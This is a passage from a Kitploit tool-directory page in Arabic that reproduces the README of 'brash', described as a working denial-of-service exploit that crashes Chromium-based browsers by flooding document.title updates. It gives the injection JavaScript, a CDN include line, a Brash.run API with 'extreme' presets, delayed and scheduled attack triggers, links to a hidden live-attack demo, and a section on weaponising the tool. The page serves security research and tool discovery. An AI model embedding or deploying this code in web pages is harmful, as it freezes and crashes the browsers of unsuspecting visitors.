Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
brash — هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال خاصية document.title | Kitploit
أدوات/GitHubGitHub/jofpin/brash
أطر الاستغلالتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراق
GitHubjofpin/brash

brash

هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال خاصية document.title

عرض المستودع
180615منذ 11 أشهرتمت المراجعة من قبل Kitploit
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

براش

براش من خوسيه بينو

هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال document.title

براش هو ثغرة أمنية حرجة في Blink، محرك العرض الذي يشغّل متصفحات كروميوم من جوجل. فهو يسمح لأي متصفح كروميوم بالانهيار خلال 15-60 ثانية عبر استغلال خلل معماري في طريقة إدارة عمليات DOM معيّنة.

ناقل الهجوم ينبع من الغياب التام لتقييد المعدل (rate limiting) على تحديثات واجهة برمجة التطبيقات document.title. وهذا يسمح بحقن ملايين الطفرات في DOM كل ثانية، وأثناء محاولة الحقن هذه، يتم إشباع الخيط الرئيسي (main thread)، مما يعطّل حلقة الأحداث (event loop) ويسبب انهيار الواجهة. التأثير كبير، فهو يستهلك موارد معالجة عالية، ويُضعف الأداء العام للنظام، ويمكن أن يوقف أو يبطئ العمليات الأخرى التي تعمل في الوقت نفسه. ومن خلال تأثيره على متصفحات كروميوم على أجهزة سطح المكتب وأندرويد والبيئات المدمجة، تعرّض هذه الثغرة أكثر من 3 مليارات شخص على الإنترنت لحجب خدمة على مستوى النظام.

الحالة: قيد التشغيل
الإصدارات المتأثرة: Chromium ≤ 143.0.7483.0 (تم الاختبار على: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] الاستغلال يعمل حاليًا. بمجرد تصحيح الثغرة، سيتوقف هذا الكود عن العمل. ومع ذلك، فإن اكتشاف هذا الخلل المعماري وإكمال عملية البحث والتوثيق والتصميم بأكملها لمشاركة شيء مؤثر مع العالم كانت رحلة مجزية بشكل لا يصدق.

الاختبار

تم اختبار 11 متصفحًا رئيسيًا على macOS وWindows وLinux للتحقق من تأثير الثغرة.

المتأثرة (Chromium/Blink)

جميع المتصفحات المبنية على كروميوم معرضة للثغرة لأن الخلل موجود في جوهر محرك العرض Blink:

  • Chrome — ينهار خلال 15-30 ثانية
  • Edge — ينهار خلال 15-25 ثانية
  • Vivaldi — ينهار خلال 15-30 ثانية
  • Arc Browser — ينهار خلال 15-30 ثانية
  • Dia Browser — ينهار خلال 15-30 ثانية
  • Opera — ينهار خلال ~60 ثانية
  • Perplexity Comet — ينهار خلال 15-35 ثانية
  • ChatGPT Atlas — ينهار خلال 15-60 ثانية
  • Brave — ينهار خلال 30-125 ثانية

غير المتأثرة (تستخدم محركات أخرى)

  • Firefox (محرك Gecko) — محصّن ضد الهجوم
  • Safari (محرك WebKit) — محصّن ضد الهجوم
  • متصفحات iOS (كلها تستخدم WebKit) — محصّنة ضد الهجوم بسبب سياسة Apple الإلزامية التي تتطلب أن تستخدم جميع متصفحات iOS محرك WebKit كمحرك عرض لها، مما يجعل المتصفحات المبنية على كروميوم مستحيلة على iOS

كيف يعمل

براش يستغل خللًا معماريًا أساسيًا في محرك العرض Blink: غياب الخنق (throttling) لتحديثات document.title. يعمل الهجوم عبر ثلاث مراحل حاسمة:

1. توليد التجزئة (التحضير)

يولّد 100 سلسلة سداسية عشرية فريدة مكونة من 512 حرفًا ويخزّنها في الذاكرة قبل بدء الهجوم.

لماذا تحميلها مسبقًا بدلًا من توليدها في الوقت الفعلي؟

لأن التوليد المستمر لسلاسل جديدة يستهلك وقت المعالجة في العمليات الحسابية. وهذا الوقت حاسم — كل ميلي ثانية تُقضى في توليد السلاسل هي وقت لا يُستخدم في قصف المتصفح بتحديثات document.title.

من خلال وجود 100 سلسلة محمّلة مسبقًا في الذاكرة:

  • هجوم أسرع: لا توقفات لتوليد السلاسل
  • معالجة مركّزة: 100% من الموارد مخصصة لإشباع المتصفح
  • توقفات نظام أقل: يمنع جامع القمامة (garbage collector) من التنشيط المستمر
  • تجنب الاكتشاف: السلاسل المئة المختلفة تمنع المتصفح من تخزين التحديثات مؤقتًا أو تحسينها

ونتيجة لذلك، نحقق أقصى سرعة حقن مع أقصى استهلاك للذاكرة لكل تحديث.

// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. الحقن الانفجاري (الهجوم)

ينفّذ دفعات قابلة للتهيئة من تحديثات العنوان. مع الإعداد الافتراضي (burst: 8000, interval: 1ms)، يحاول حقن حوالي 24 مليون تحديث في الثانية، وخلال هذه المحاولة يبدأ انهيار المتصفح.

// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. إشباع خيط الواجهة (الانهيار)

التحديثات المستمرة تُشبع الخيط الرئيسي للمتصفح، مما يمنع معالجة الأحداث الأخرى:

الخط الزمني للانهيار:

  • 0-5ث: إشباع أولي لخيط الواجهة، استهلاك شديد للمعالجة
  • 5-10ث: تبويب مجمّد تمامًا، يستحيل إغلاقه
  • 10-15ث: انهيار المتصفح أو نافذة "الصفحة لا تستجيب"
  • 15-60ث: يلزم إنهاء إجباري (للمتصفحات المبنية على كروميوم)

لماذا ينجح هذا؟

يعالج Blink كل تغيير في document.title بشكل متزامن على الخيط الرئيسي دون تقييد معدل. وهذا يخلق عنق زجاجة (bottleneck) يعمل على:

  • حجب حلقة الأحداث
  • منع معالجة مدخلات المستخدم
  • إشباع الذاكرة بسلاسل طويلة
  • تعطيل المُجمّع (compositor) وخط أنابيب العرض
  • التسبب في ارتجاج عملية المتصفح (thrashing)

العرض التجريبي وإثبات المفهوم

لفهم تأثير براش بالكامل، يمكنك تجربة الاستغلال في سياقات مختلفة، من عرض حي مُتحكم به إلى تنفيذك الخاص. كل خيار مصمم لمستويات مختلفة من التفاعل والفهم التقني.

1. العرض الحي

أسرع طريقة لرؤية براش أثناء العمل. زر https://brash.run

لرؤية الاستغلال دون واجهة رسومية، زر https://brash.run/hidden-live-demo.html. هذا الإصدار ينفّذ الحقن بشكل غير مرئي، محاكيًا هجومًا حقيقيًا.

2. العرض المحلي

إذا كنت تفضل تشغيل العرض في بيئتك الخاصة، فإن مجلد exploit-demo/ المضمّن في المستودع يتيح لك:

  • عناصر تحكم لضبط شدة الهجوم في الوقت الفعلي
  • عدّاد مرئي للتحديثات في الثانية
  • ثلاثة أوضاع محددة مسبقًا: معتدل، وعدواني، ومتطرف
  • مراقبة الانهيار التدريجي للمتصفح

ببساطة افتح exploit-demo/index.html في أي متصفح كروميوم واضبط قيمتي burst وinterval قبل البدء.

  • burstSize: تغييرات العنوان لكل فاصل زمني (أعلى = أكثر عدوانية)
  • interval: ميلي ثانية بين الدفعات (أقل = أكثر عدوانية)

3. نفّذ إثبات المفهوم الخاص بك

لدمج براش في اختبارات الأمان أو أبحاثك الخاصة، قم بتضمين السكربت واضبط الهجوم:

تضمين السكربت:

<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

استخدام واجهة برمجة التطبيقات (API):

// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

إعدادات الشدة:

// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

ملاحظة: كل دفعة تنفّذ 3 تحديثات متتالية لـ document.title. على سبيل المثال، burstSize: 400 = 1,200 تحديث فعلي في كل فاصل زمني.

سيناريوهات الهجوم

يمكن تسليح براش في سياقات حرجة متعددة بعواقب تتراوح بين خسائر اقتصادية وخطر على حياة البشر.

الهجمات المؤجلة زمنيًا: التوقيت الاستراتيجي

ميزة حرجة تضخّم خطر براش هي قدرته على البرمجة للتنفيذ في لحظات محددة. يمكن للمهاجم حقن الكود مع مشغّل زمني، فيبقى خاملًا حتى وقت محدد مسبقًا بدقة.

التنفيذ التقني:

// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

المعلمات:

تنزيل الأداة